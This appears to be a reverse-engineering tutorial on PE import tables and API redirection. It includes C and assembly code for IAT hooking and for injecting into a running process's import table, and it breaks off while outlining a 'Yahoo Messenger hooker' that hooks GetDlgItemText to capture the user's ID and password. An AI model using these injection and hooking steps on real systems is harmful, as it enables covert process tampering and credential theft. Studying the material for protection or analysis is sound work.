Injective Code Inside an Import Table

Imagine that you could redirect the thoroughfare of the imported function's entrances into your special routines by manipulating the import table thunks. It could be possible to filter the demands of the importations through your routines. Furthermore, you could settle your appropriate routine by this performance, which is done by the professional Portable Executable (PE) Protectors. Additionally, some sort of rootkits employ this approach to embed its malicious code inside the victim by a Trojan horse.

In the reverse engineering world, it's described as an API redirection technique. Nevertheless, I am not going to accompany all viewpoints in this area with source code. This article merely represents a brief aspect of this technique by a simple code. I will describe other issues in the absence of the source code; I could not release the code that is related to commercial projects or intended to a malicious motivation. However, I think this article could be used as an introduction into this topic.

1. Intoduction to the Import Table

The portable executable file structure consists of the MS-DOS header, the NT headers, the Sections headers, and the Section images, as you observe in Figure 1. The MS-DOS header is common in all Microsoft executable file formats from the DOS days to the Windows days. The NT headers idea was abstracted form the Executable and Linkable Format (ELF) of the UNIX System. Indeed, the Portable Executable (PE) format is sister of the Linux Executable and Linkable Format (ELF). The PE format headers consist of the "PE" Signature, the Common Object File Format (COFF) header, the Portable Executable Optimal header, and the Section headers.

Figure 1: Portable Executable file format structure

The definition of the NT headers can be found in the <winnt.h> header file of the Virtual C++ included directory. This information can be retrieved very easily by using ImageNtHeader() from DbgHelp.dll. You also can employ the DOS header to fetch the NT headers, so the last position of the DOS header, e_lfanew, represents the offset of the NT headers.

typedef struct _IMAGE_NT_HEADERS {
   DWORD Signature;
   IMAGE_FILE_HEADER FileHeader;
   IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;

In the Portable Executable Optional header, there are some data directories that delineate the relative location and the size of the principal information tables inside the virtual memory of the current process. These tables can hold information about resource, import, export, relocation, debug, thread local storage, and the COM runtime. It is impossible to find a PE executable file without the import table; this table contains the DLL names and the Functions names that are essential when the program requests them by their virtual addresses. The resource table is not found in the Console executable files; nevertheless, it is a vital part of the Windows executable files with a Graphic User Interface (GUI). The export table is necessary when a dynamic link library exports its function outside and also in an OLE Active-X container. The Dot NET virtual machine could not be executed unescorted by the COM+ runtime header. As you discerned, each table has a special commission in the PE format; see Table 1.

Table 1: Data Directories

Data Directories 0 Export Table
1 Import Table
2 Resource Table
3 Exception Table
4 Certificate File
5 Relocation Table
6 Debug Data
7 Architecture Data
8 Global Ptr
9 Thread Local Storage Table
10 Load Config Table
11 Bound Import Table
12 Import Address Table
13 Delay Import Descriptor
14 COM+ Runtime Header
15 Reserved
// <winnt.h>

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

// Optional header format.

typedef struct _IMAGE_OPTIONAL_HEADER {

   ...
   
   IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;


// Directory Entries
#define IMAGE_DIRECTORY_ENTRY_EXPORT     0 // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT     1 // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE   2 // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC  5 // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG      6 // Debug Directory
#define IMAGE_DIRECTORY_ENTRY_TLS        9 // TLS Directory

You can obtain the position and size of the import table with only two or three lines of code. By knowing the position of the import table, you can move to the next step to retrieve the DLL names and the Function names. It will be discussed in the following section.

PIMAGE_NT_HEADERS pimage_nt_headers = ImageNtHeader(pImageBase);
DWORD it_voffset = pimage_nt_headers->OptionalHeader.
   DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

PIMAGE_DOS_HEADER pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
PIMAGE_NT_HEADERS pimage_nt_headers = (PIMAGE_NT_HEADERS)
   (pImageBase + pimage_dos_header->e_lfanew);
DWORD it_voffset = pimage_nt_headers->OptionalHeader.
   DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

2. Import Descriptor at a Glance

The import directory entry of the import table leads you to the position of the import table inside the file image. There is a container for each imported DLL, import descriptor, that embraces the address of first thunk and the address of original first thunk, the pointer to the DLL name. The First Thunk refers to the location of the first thunk; the thunks will be initialized by the PE loader of Windows during the running of the program, as shown in Figure 5. The Original First Thunk points to the first storage of the thunks, where the address of the Hint data and the Function Name data for each functions is provided, Figure 4. In that case, the First Original Thunk is not present; the First Thunk refers to where the Hint data and the Function Name data are located, Figure 3.

The import descriptor is represented with IMAGE_IMPORT_DESCRIPTOR structures, as in the following definition:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
   DWORD   OriginalFirstThunk;
   DWORD   TimeDateStamp;
   DWORD   ForwarderChain;
   DWORD   Name;
   DWORD   FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
Member Description
OriginalFirstThunk Points to the first thunk, IMAGE_THUNK_DATA. The thunk holds the address of the Hint and the Function name.
TimeDateStamp Contains the time/data stamp if there is binding. If it is 0, no binding in imported DLL has happened. In newer days, it sets to 0xFFFFFFFF to describe that binding occurred.
ForwarderChain In the old version of binding, it refers to the first forwarder chain of the API. It can be set 0xFFFFFFFF to describe no forwarder.
Name Shows the relative virtual address of DLL name.
FirstThunk Contains the virtual address of the first thunk arrays that is defined by IMAGE_THUNK_DATA. The thunk is initialized by a loader with a function virtual address. In the absence view of the Orignal First Thunk, it points to the first thunk, the thunks of the Hints, and the Function names.
typedef struct _IMAGE_IMPORT_BY_NAME {
   WORD    Hint;
   BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

typedef struct _IMAGE_THUNK_DATA {
   union {
      PDWORD                 Function;
      PIMAGE_IMPORT_BY_NAME  AddressOfData;
   } u1;
} IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;

Figure 3: Import Table View

Figure 4: Import Table View with Orignal First Thunk

These two import tables (Figures 3 and 4) illustrate the difference between an import table with and without the original first thunk.

Figure 5: Import Table after overwritten by PE loader

You can use Dependency Walker, Figure 6, to observe all the information of the import table. By the way, I have provided another tool, Import Table viewer, Figure 7, with simple and similar operation. I am sure its source will help you understand the main representation that is done by this kind of equipment.

Figure 6: Dependency Walker, Steve P. Miller

Here, you observe a simple source that could be used to display the import DLLs and the import Functions with a console mode program. However, I think my Import Table viewer, Figure 7, has more incentive to follow the topic because of its graphic user interface.

PCHAR       pThunk;
PCHAR       pHintName;
DWORD       dwAPIaddress;
PCHAR       pDllName;
PCHAR       pAPIName;
//----------------------------------------
DWORD dwImportDirectory= RVA2Offset(pImageBase, pimage_nt_headers->
   OptionalHeader.
   DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//----------------------------------------
PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor=
   (PIMAGE_IMPORT_DESCRIPTOR)
   (pImageBase+dwImportDirectory);
//----------------------------------------
while(pimage_import_descriptor->Name!=0)
{
   pThunk= pImageBase+pimage_import_descriptor->FirstThunk;
   pHintName= pImageBase;
   if(pimage_import_descriptor->OriginalFirstThunk!=0)
   {
        pHintName+= RVA2Offset(pImageBase,
           pimage_import_descriptor->OriginalFirstThunk);
   }
   else
   {
      pHintName+= RVA2Offset(pImageBase,
         pimage_import_descriptor->FirstThunk);
   }
   pDllName= pImageBase + RVA2Offset(pImageBase,
      pimage_import_descriptor->Name);
   printf(" DLL Name: %s First Thunk: 0x%x", pDllName, 
          pimage_import_descriptor->FirstThunk);
   PIMAGE_THUNK_DATA pimage_thunk_data= (PIMAGE_THUNK_DATA) pHintName;
   while(pimage_thunk_data->u1.AddressOfData!=0)
   {
      dwAPIaddress= pimage_thunk_data->u1.AddressOfData;
      if((dwAPIaddress&0x80000000)==0x80000000)
      {
         dwAPIaddress&= 0x7FFFFFFF;
         printf("Proccess: 0x%x", dwAPIaddress);
      }
      else
      {
         pAPIName= pImageBase+RVA2Offset(pImageBase, dwAPIaddress)+2;
         printf("Proccess: %s", pAPIName);
      }
      pThunk+= 4;
      pHintName+= 4;
      pimage_thunk_data++;
   }
   pimage_import_descriptor++;
}

Figure 7: Import Table viewer

Injective Code Inside an Import Table

3. API Redirection Technique

You have perceived all essential knowledge regarding the import table; it is now time to establish your redirection method. The algorithm is so simple; you create an extra virtual space inside the virtual memory of the current process, and generate instructions to redirect with JMP to the original function location. You can perform it by an absolute jump or a relative jump. You should take care in the case of an absolute jump; you cannot perform it simply as like as Figure 8. You first should move the virtual address to EAX and then jump by JMP EAX. In pemaker6.zip, I have done a redirection by relative jump.

[api_redirect_1.gif]

Figure 8: Overview of a simple API redirection by the absolute jump instruction

This PE maker was created as a consequence of my previous article 1; I suggest that you read it if you are interested to know how it works. In this version, I have modified the Import table fix up routine, as you see in the following lines. I wrote some lines to generate a relative JMP instruction to the real position of the function. It is important to know that you could not perform the API redirection for all DLL modules. For instance, in CALC.EXE, some thunks of MSVCRT.DLL will be accessed from inside of the CALC.EXE code section during the runtime initialization. Therefore, it will not work in the case of the redirection.

_it_fixup_1:
   push ebp
   mov ebp,esp
   add esp,-14h
   push PAGE_READWRITE
   push MEM_COMMIT
   push 01D000h
   push 0
   call _jmp_VirtualAlloc
   //NewITaddress=VirtualAlloc(NULL, 0x01D000,
   //                          MEM_COMMIT, PAGE_READWRITE);
   mov [ebp-04h],eax
   mov ebx,[ebp+0ch]
   test ebx,ebx
   jz _it_fixup_1_end
   mov esi,[ebp+08h]
   add ebx,esi                        // dwImageBase +
                                      // dwImportVirtualAddress
_it_fixup_1_get_lib_address_loop:
      mov eax,[ebx+0ch]               // image_import_descriptor.Name
      test eax,eax
      jz _it_fixup_1_end

      mov ecx,[ebx+10h]               // image_import_descriptor.
                                      // FirstThunk
      add ecx,esi
      mov [ebp-08h],ecx               // dwThunk
      mov ecx,[ebx]                   // image_import_descriptor.
                                      // Characteristics
      test ecx,ecx
      jnz _it_fixup_1_table
            mov ecx,[ebx+10h]
_it_fixup_1_table:
      add ecx,esi
      mov [ebp-0ch],ecx               // dwHintName
      add eax,esi                     // image_import_descriptor.Name
                                      // + dwImageBase = ModuleName
      push eax                        // lpLibFileName
      mov [ebp-10h],eax
      call _jmp_LoadLibrary           // LoadLibrary(lpLibFileName);

      test eax,eax
      jz _it_fixup_1_end
      mov edi,eax
_it_fixup_1_get_proc_address_loop:
         mov ecx,[ebp-0ch]            // dwHintName
         mov edx,[ecx]                // image_thunk_data.Ordinal
         test edx,edx
         jz _it_fixup_1_next_module
         test edx,080000000h          // .IF( import by ordinal )
         jz _it_fixup_1_by_name
            and edx,07FFFFFFFh       // get ordinal
            jmp _it_fixup_1_get_addr
_it_fixup_1_by_name:
         add edx,esi                  // image_thunk_data.Ordinal +
                                      // dwImageBase = OrdinalName
         inc edx
         inc edx                      // OrdinalName.Name
_it_fixup_1_get_addr:
         push edx                     // lpProcName
         push edi                     // hModule
         call _jmp_GetProcAddress     // GetProcAddress(hModule,
                                      //                lpProcName);
         mov [ebp-14h],eax            //_p_dwAPIaddress
         //=========================================================
         //            Redirection  Engine
         push edi
         push esi
         push ebx

         mov ebx,[ebp-10h]
         push ebx
         push ebx
         call _char_upper

         mov esi,[ebp-10h]
         mov edi,[ebp+010h]
_it_fixup_1_check_dll_redirected:
            push edi
            call __strlen
            add  esp, 4

            mov ebx,eax
            mov ecx,eax
            push edi
            push esi
            repe cmps
            jz  _it_fixup_1_do_normal_it_0
            pop esi
            pop edi
            add edi,ebx
         cmp byte ptr [edi],0
         jnz _it_fixup_1_check_dll_redirected
            mov ecx,[ebp-08h]
            mov eax,[ebp-014h]
            mov [ecx],eax
            jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
            pop esi
            pop edi
            mov edi,[ebp-04h]
            mov byte ptr [edi], 0e9h    // JMP Instruction
            mov eax,[ebp-14h]
            sub eax, edi
            sub eax, 05h
            mov [edi+1],eax             // Relative JMP value
            mov word ptr [edi+05], 0c08bh
            mov ecx,[ebp-08h]
            mov [ecx],edi               // -> Thunk
            add dword ptr [ebp-04h],07h
_it_fixup_1_do_normal_it_1:
         pop ebx
         pop esi
         pop edi
        //===================================================
         add dword ptr [ebp-08h],004h    // dwThunk => next dwThunk
         add dword  ptr [ebp-0ch],004h   // dwHintName =>
                                         // next dwHintName
      jmp _it_fixup_1_get_proc_address_loop
_it_fixup_1_next_module:
      add ebx,014h              // sizeof(IMAGE_IMPORT_DESCRIPTOR)
   jmp _it_fixup_1_get_lib_address_loop
_it_fixup_1_end:
   mov esp,ebp
   pop ebp
   ret 0ch

Do not think the API redirection is discharged with this simple method in professional EXE protectors; they have an x86 instruction generator engine that is used to create the redirection code. Sometimes, this engine is accompanied by a metamorphism engine that makes them extremely complicated to analyze.

How It Works

The preceding code works according to the following algorithm:

  1. Create a separate space to store the generated instructions by VirtualAlloc().
  2. Find the function's virtual address by LoadLibrary() and GerProcAddress().
  3. Check whether the DLL name is a match with the valid DLL list. In this example, you recognize KERNEL32.DLL, USER32.DLL, GDI32.DLL, ADVAPI32.DLL, and SHELL32.DLL as valid DLL names to be redirected.
  4. If the DLL name is valid, go to the redirect routine. Otherwise, initialize the thunk with the original function virtual address.
  5. To redirect the API, generate the JMP (0xE9) instruction and calculate the relative position of the function position to establish a relative jump.
  6. Store the generated instructions inside the separated space, and refer the thunk to the first position of these instructions.
  7. Continue this routine for the other Functions and DLLs.

If you implement this performance on CALC.EXE, and trace it with OllyDbg or a similar user mode debugger, you will see this code generated in a view similar to the following:

008E0000  - E9 E6F8177C    JMP SHELL32.ShellAboutW
008E0005    8BC0           MOV EAX,EAX
008E0007  - E9 0F764F77    JMP ADVAPI32.RegOpenKeyExA
008E000C    8BC0           MOV EAX,EAX
008E000E  - E9 70784F77    JMP ADVAPI32.RegQueryValueExA
008E0013    8BC0           MOV EAX,EAX
008E0015  - E9 D66B4F77    JMP ADVAPI32.RegCloseKey
008E001A    8BC0           MOV EAX,EAX
008E001C  - E9 08B5F27B    JMP kernel32.GetModuleHandleA
008E0021    8BC0           MOV EAX,EAX
008E0023  - E9 4F1DF27B    JMP kernel32.LoadLibraryA
008E0028    8BC0           MOV EAX,EAX
008E002A  - E9 F9ABF27B    JMP kernel32.GetProcAddress
008E002F    8BC0           MOV EAX,EAX
008E0031  - E9 1AE4F77B    JMP kernel32.LocalCompact
008E0036    8BC0           MOV EAX,EAX
008E0038  - E9 F0FEF27B    JMP kernel32.GlobalAlloc
008E003D    8BC0           MOV EAX,EAX
008E003F  - E9 EBFDF27B    JMP kernel32.GlobalFree
008E0044    8BC0           MOV EAX,EAX
008E0046  - E9 7E25F37B    JMP kernel32.GlobalReAlloc
008E004B    8BC0           MOV EAX,EAX
008E004D  - E9 07A8F27B    JMP kernel32.lstrcmpW
008E0052    8BC0           MOV EAX,EAX

For your homework, you can practice changing the PE Maker source with the absolute jump instruction by this code:

008E0000  - B8 EBF8A57C    MOV EAX,7CA5F8EBh
  // address of SHELL32.ShellAboutW
008E0005    FFE0           JMP EAX

What to Call This

This time, I want to change the function of an API by using this technique. I am not sure if we again can call it API redirection. In this sample, I redirect the ShellAbout() dialog of CALC.EXE to my "Hello World!" message box in pemaker7.zip. You will see how easy it is implemented by a few change in the previous code:

...
   //==============================================================
   push edi
   push esi
   push ebx

   mov ebx,[ebp-10h]
   push ebx
   push ebx
   call _char_upper

   mov esi,[ebp-10h]
   mov edi,[ebp+010h]        // [ebp+_p_szShell32]
_it_fixup_1_check_dll_redirected:
      push edi
      call __strlen
      add esp, 4

      mov ebx,eax
      mov ecx,eax
      push edi
      push esi
      repe cmps             // byte ptr [edi], byte ptr [esi]
      jz _it_fixup_1_check_func_name
      jmp _it_fixup_1_no_check_func_name
_it_fixup_1_check_func_name:
      mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]
      push edi
      call __strlen
      add esp, 4
      mov ecx,eax
      mov esi,[ebp-18h]
      mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]
      repe cmps //byte ptr [edi], byte ptr [esi]
      jz _it_fixup_1_do_normal_it_0
_it_fixup_1_no_check_func_name:
      pop esi
      pop edi
      add edi,ebx
   cmp byte ptr [edi],0
   jnz _it_fixup_1_check_dll_redirected
   mov ecx,[ebp-08h]
   mov eax,[ebp-014h]
   mov [ecx],eax
   jmp _it_fixup_1_do_normal_it_1
_it_fixup_1_do_normal_it_0:
      pop esi
      pop edi
      mov ecx,[ebp-08h]
      mov edi,[ebp+18h]
      mov [ecx],edi    // move address of new function to the thunk
_it_fixup_1_do_normal_it_1:
   pop ebx
   pop esi
   pop edi
   //==============================================================
   ...

I summarize this routine successively:

  1. Check whether the DLL name is "Shell32.DLL".
  2. Check whether the Function name is "ShellAboutW".
  3. If conditios 1 and 2 are true, redirect the thunk of ShellAbout() to the new function.

This new function is a simple message box:

_ShellAbout_NewCode:
_local_0:
   pushad    // save the register's context in the stack
   call _local_1
_local_1:    
   pop ebp
   sub ebp,offset _local_1 // get base ebp
   push MB_OK | MB_ICONINFORMATION
   lea eax,[ebp+_p_szCaption]
   push eax
   lea eax,[ebp+_p_szText]
   push eax
   push NULL
   call _jmp_MessageBox
   // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
   popad    // restore the first register's context from the stack
   ret 10h

When you plan to replace an API with a new function, you should consider some important details:

  • Do not corrupt the Stack memory by missing the stack point. Therefore, it finally is necessary to restore the original stack point by ADD ESP,xxx or RET xxx.
  • Try to keep most of the thread registers safe except EAX by capturing and restoring them with PUSHAD and POPAD.

As you see, I have employed PUSHAD and POPAD to reclaim the thread registers. For this case, ShellAbout() has four DWORD members so the stack point is increased 0x10 when returning.

After redirecting ShellAbout(), you can try the About Calculator menu item from the Help menu. You will see what it has done on the target CALC.EXE.

Figure 9: The redirection of About Calculator to a dialog message box

The EXE protectors manipulate the target in this way; they establish the redirection to their extra memory space. The next section talks about this.

Injective Code Inside an Import Table

4. Protection Against Reversion

It is extremely difficult to reconstruct an import table with a complex API redirection technique. Sometimes, the tools such as Import REConstructor, Figure 10, will be confused when rebuilding the import table, especially when the redirection is accomplished with a polymorphism code image. Import REConstructor is a famous tool in the reverse world; it will suspend the target process to capture the import information. If you make a redirection like a simple JMP, it certainly will be reconstructed with this tool. Nevertheless, if you encrypt the Function name and bundle it with polymorphism code inside the memory, it will be confused about retrieving the correct import table. You present your EXE protector according to this technique; Native Security Engine 6 is a packer that follows this way. It has an x86 code generator plus a metamorphism engine; both of them help establish a complex redirection structure.

[it_reconst.gif]

Figure 10: Import REConstructor, MackT/uCF2000

Figure 11 illustrates the main strategy of the import protection in EXE protectors. Some of them employ redirection to virtual Win32 libraries. For instance, they have virtual libraries for Kernel32, User32, and AdvApi32. They use their own libraries to prevent hacking or to install their Virtual Machine.

[it_protect_1.gif]

Figure 11: Import Table Protection

It is possible to cut off access to the outside by this technique. As you see, MoleBox behaves the same way; it filters FindFirstFile() and FindNextFile() to merge TEXT files and JPEG files inside the packed file. When the program finds a file on the hard disk, it will be redirected to memory.

5. Runtime Import Table Injection

Now, I want to discuss one more. This topic is certainly interesting for people who attempt to understand the maneuvering of the user level (ring-3) rootkits 7 on Windows System. The first and foremost question is how to inject to the import table of a runtime process; this section will answer to this question. You want to inject to a runtime process and modify it. If you remember, in one of my previous articles 2, I established a Windows Spy to capture Windows Class properties and modify them at runtime. This time, I will move nearer to rewriting the memory and redirecting the import table from the outside.

  1. By using WindowFromPoint(), you can obtain the window handle of a special point. GetWindowThreadProcessId() helps you know the process ID and the thread ID of this window handle.
  2. POINT point;
    HWND hWindowUnderTheMouse = WindowFromPoint(point);
    
    DWORD    dwProcessId;
    DWORD    dwThreadId;
    dwThreadId=GetWindowThreadProcessId(hSeekedWindow,
                                        &dwProcessId);
    
  3. The process handle and the thread are acquired by OpenProcess() and OpenThread(). But, there is no OpenThread() in Windows 98! Do not worry; try to find RT library by EliCZb., a library to emulate OpenThread(), CreateRemoteThread(), VirtualAllocEX(), and VirtualFreeEx() inside Windows 98.
  4. HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE,
                                   dwProcessId );
    HANDLE hThread  = OpenThread( THREAD_ALL_ACCESS, FALSE,
                                  dwThreadId);
    
  5. To start manipulating the process memory, you first should freeze the process by suspending the main thread.
  6. SuspendThread(hThread);
  7. The Thread Environment Block (TEB) location can be obtained by FS:[18] that you do not have access to! So, GetThreadContext() and GetThreadSelectorEntry() help you know the base value of the FS segment.
  8. CONTEXT        Context;
    LDT_ENTRY      SelEntry;
    
    Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(hThread,&Context);
    
    // Calculate the base address of FS
    GetThreadSelectorEntry(hThread, Context.SegFs, &SelEntry);
    DWORD dwFSBase = ( SelEntry.HighWord.Bits.BaseHi << 24) |
                     (SelEntry.HighWord.Bits.BaseMid << 16) |
                      SelEntry.BaseLow;
    
  9. The Thread Environment Block (TEB) is obtained by reading from its position inside the virtual memory of the target process. The thread and process environment blocks, Figure 12, have been explained enough in Undocumented Windows 2000 secrets 4; moreover, the NTInternals team 5 presents the complete definition of TEB and FEB. I guess the Microsoft team has forgotten to offer information about them or do not intend to make them public! This is the reason I like Linux team.
  10. PTEB pteb = new TEB;
    PPEB ppeb = new PEB;
    DWORD       dwBytes;
    
    ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, pteb,
                       sizeof(TEB), &dwBytes);
    ReadProcessMemory( hProcess, (LPCVOID)pteb->Peb, ppeb,
                       sizeof(PEB), &dwBytes);
    

    Figure 12: The Thread Environment Blocks and the Process Environment Block

  11. The image base of the portable executable image inside the current process memory is found from the process environment block information.
  12. DWORD dwImageBase = (DWORD)ppeb->ImageBaseAddress;
  13. ReadProcessMemory() helps you read the entire image of the portable executable file.
  14. PIMAGE_DOS_HEADER pimage_dos_header = new IMAGE_DOS_HEADER;
    PIMAGE_NT_HEADERS pimage_nt_headers = new IMAGE_NT_HEADERS;
        
    ReadProcessMemory( hProcess,
                      (LPCVOID)dwImageBase,
                       pimage_dos_header,
                       sizeof(IMAGE_DOS_HEADER),
                      &dwBytes);
    ReadProcessMemory( hProcess,
                      (LPCVOID)(dwImageBase+pimage_dos_header->
                                e_lfanew),
                       pimage_nt_headers, sizeof(IMAGE_NT_HEADERS),
                      &dwBytes);
    
    PCHAR pMem = (PCHAR)GlobalAlloc(
                       GMEM_FIXED | GMEM_ZEROINIT,
                       pimage_nt_headers->
                       OptionalHeader.SizeOfImage);
    
    ReadProcessMemory( hProcess,
                      (LPCVOID)(dwImageBase),
                       pMem,
                       pimage_nt_headers->
                       OptionalHeader.SizeOfImage,
                       &dwBytes);
    
  15. Watch the DLL names and thunk values to find your target and redirect it. In this example, the DLL name is Shell32.dll and the thunk is the virtual address of ShellAbout().
  16. HMODULE hModule = LoadLibrary("Shell32.dll");
    DWORD dwShellAbout= (DWORD)GetProcAddress(hModule,
                                              "ShellAboutW");
    
    DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
                       hProcess,
                       NULL,
                       0x01D000,
                       MEM_COMMIT,
                       PAGE_EXECUTE_READWRITE);
                       
    RedirectAPI(pMem, dwShellAbout, dwRedirectMem);
    
    ...
    
    int RedirectAPI(PCHAR pMem, DWORD API_voffset,
                    DWORD NEW_voffset)
    {
       PCHAR     pThunk;
       PCHAR     pHintName;
       DWORD     dwAPIaddress;
       PCHAR     pDllName;
       DWORD     dwImportDirectory;
    
       DWORD     dwAPI;
    
       PCHAR pImageBase = pMem;
       //----------------------------------------
       PIMAGE_IMPORT_DESCRIPTOR    pimage_import_descriptor;
       PIMAGE_THUNK_DATA           pimage_thunk_data;
       //----------------------------------------
       PIMAGE_DOS_HEADER pimage_dos_header;
       PIMAGE_NT_HEADERS pimage_nt_headers;
       pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
       pimage_nt_headers = (PIMAGE_NT_HEADERS)
                           (pImageBase+pimage_dos_header->
                            e_lfanew);
       //----------------------------------------
       dwImportDirectory=pimage_nt_headers->OptionalHeader
                   .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
                   .VirtualAddress;
       if(dwImportDirectory==0) 
       {
            return -1;
       }
       //----------------------------------------
       pimage_import_descriptor=(PIMAGE_IMPORT_DESCRIPTOR)
                                (pImageBase+dwImportDirectory);
       //----------------------------------------
       while(pimage_import_descriptor->Name!=0)
       {
          pThunk=pImageBase+pimage_import_descriptor->
             FirstThunk;
          pHintName=pImageBase;
          if(pimage_import_descriptor->OriginalFirstThunk!=0)
          {
             pHintName+=pimage_import_descriptor->
                OriginalFirstThunk;
          }
          else
          {
             pHintName+=pimage_import_descriptor->FirstThunk;
          }
          pDllName=pImageBase+pimage_import_descriptor->Name;
    
          StrUpper(pDllName);
          if(strcmp(pDllName,"SHELL32.DLL")==0)
          {
             pimage_thunk_data=PIMAGE_THUNK_DATA(pHintName);
             while(pimage_thunk_data->u1.AddressOfData!=0)
             {
                //----------------------------------------
                memcpy(&dwAPI, pThunk, 4);
                if(dwAPI==API_voffset)
                {
                   memcpy(pThunk, &NEW_voffset, 4);
                   return 0;
                }
                //----------------------------------------
                pThunk+=4;
                pHintName+=4;
                pimage_thunk_data++;
             }
          }
          pimage_import_descriptor++;
       }
       //----------------------------------------
       return -1;
    }
    
    
  17. Extra memory for redirection purposes is created by VirtualProtectEx(). You will generate the code and write it inside the new spare space.
  18. DWORD dwRedirectMem = (DWORD)VirtualAllocEx(
                          hProcess,
                          NULL,
                          0x01D000,
                          MEM_COMMIT,
                          PAGE_EXECUTE_READWRITE);
    
    ...
    
    PCHAR pLdr;
    DWORD Ldr_rsize;
    GetLdrCode(pLdr, Ldr_rsize);
    
    WriteProcessMemory( hProcess,
                       (LPVOID)(dwRedirectMem),
                       pLdr,
                       Ldr_rsize,
                       &dwBytes);
    
  19. The loader is written on the extra memory. It holds the code to show a sample message box.
  20. void GetLdrCode(PCHAR &pLdr, DWORD &rsize)
    {
       HMODULE     hModule;
       DWORD       dwMessageBox;
    
       PCHAR       ch_temp;
       DWORD       dwCodeSize;
       ch_temp=(PCHAR)DWORD(ReturnToBytePtr(DynLoader,
          DYN_LOADER_START_MAGIC))+4;
       dwCodeSize=DWORD(ReturnToBytePtr(DynLoader,
          DYN_LOADER_END_MAGIC))-DWORD(ch_temp);
       rsize= dwCodeSize;
       pLdr =  (PCHAR)GlobalAlloc(GMEM_FIXED |
          GMEM_ZEROINIT, dwCodeSize);
       memcpy(pLdr, ch_temp, dwCodeSize);
    
       ch_temp=(PCHAR)ReturnToBytePtr(pLdr,
          DYN_LOADER_START_DATA1);
    
       hModule = LoadLibrary("User32.dll");
       dwMessageBox= (DWORD)GetProcAddress(hModule,
          "MessageBoxA");
       memcpy(ch_temp+4, &dwMessageBox, 4);
    }
    
       ...
    _ShellAbout_NewCode:
    _local_0:
       pushad    // save the register's context in the stack
       call _local_1
    _local_1:
       pop ebp
       sub ebp,offset _local_1    // get base ebp
       push MB_OK | MB_ICONINFORMATION
       lea eax,[ebp+_p_szCaption]
       push eax
       lea eax,[ebp+_p_szText]
       push eax
       push NULL
       mov eax, [ebp+_p_MessageBox]
       call eax
       // MessageBox(NULL, szText, szCaption,
       /             MB_OK | MB_ICONINFORMATION) ;
       popad    // restore the first register's context from stack
       ret 10h
       ...
    
  21. The executable image is written in memory after modification. Do not forget to set full access of the memory before writing.
  22. VirtualProtectEx( hProcess,
                     (LPVOID)(dwImageBase),
                      pimage_nt_headers->
                      OptionalHeader.SizeOfImage,
                      PAGE_EXECUTE_READWRITE,
                      &OldProtect);
    
    WriteProcessMemory( hProcess,
                       (LPVOID)(dwImageBase),
                        pMem,
                        pimage_nt_headers->
                        OptionalHeader.SizeOfImage,
                        &dwBytes);
    

    VirtualProtectEx() sets the page access to PAGE_EXECUTE_READWRITE protection type. It is necessary to have PAGE_READWRITE access when WriteProcessMemory is used and PAGE_EXECUTE in the case of an executable page.

  23. Now, the process is ready to unfreeze and life will start again. But, what happens? Try the About menu item and you will see, Figure 13, this is the first aspect of the injection life!
  24. ResumeThread(hThread);

Figure 13: Runtime Injection into ShellAbout() Thunk

I am thinking about injection to other API thunks, as well. You can upload another dynamic link library in the target process to redirect the victim thunk to it; that has been explained completely in another article 3. The next section discusses a bit about one of the disasters that comes as a consequent of this performance. You can imagine other possible tsunamis.

Injective Code Inside an Import Table

6. Trojan Horse

Always block the Pop-Up on your Web browser and turn off the automatic installing of ActiveX controls and plug-ins on your Internet Explorer. It will come to your computer inside an OLE component or a small DLL plug-ins and comes to life inside a process. Sometimes, this life is inside a import table of a special process; for instance, Yahoo Messenger or MSN Messenger. It can hook all Windows controls and filter the API, oh my god! where has the password of my e-mail gone! This is one possibility of a user level rootkit 7. It can make a root to your computer and steal your important information. The Antivirus only can scan the file image; they lost their control over the runtime process injection. Therefore, when you explore the Web, be careful and always use a strong firewall filter.

How a Yahoo Messenger Hooker Works

Here are the practicable steps to write a Yahoo Messenger hooker:

  1. Obtain the Yahoo Messenger handle with its class name by using FindWindow().
  2. HWND hWnd = FindWindow("YahooBuddyMain", NULL);
  3. Implement an injection to its process, similarly to the previous section.
  4. Perform this injection on the import thunk of GetDlgItemText() to filter its members.
  5. UINT GetDlgItemText( HWND hDlg,
                         int nIDDlgItem,
                         LPTSTR lpString,
                         int nMaxCount);
    
  6. Compare the dialog item ID, nIDDlgItem, with the specific ID to detect which item currently is in use. If the ID is found, hook the string with the original GetDlgItemText().
  7. CHAR pYahooID[127];
    CHAR pPassword[127];
    
    switch(nIDDlgItem)
    {
    case 211:    // Yahoo ID
       // for stealing
       GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127);
       // ...
       // Emulate the original
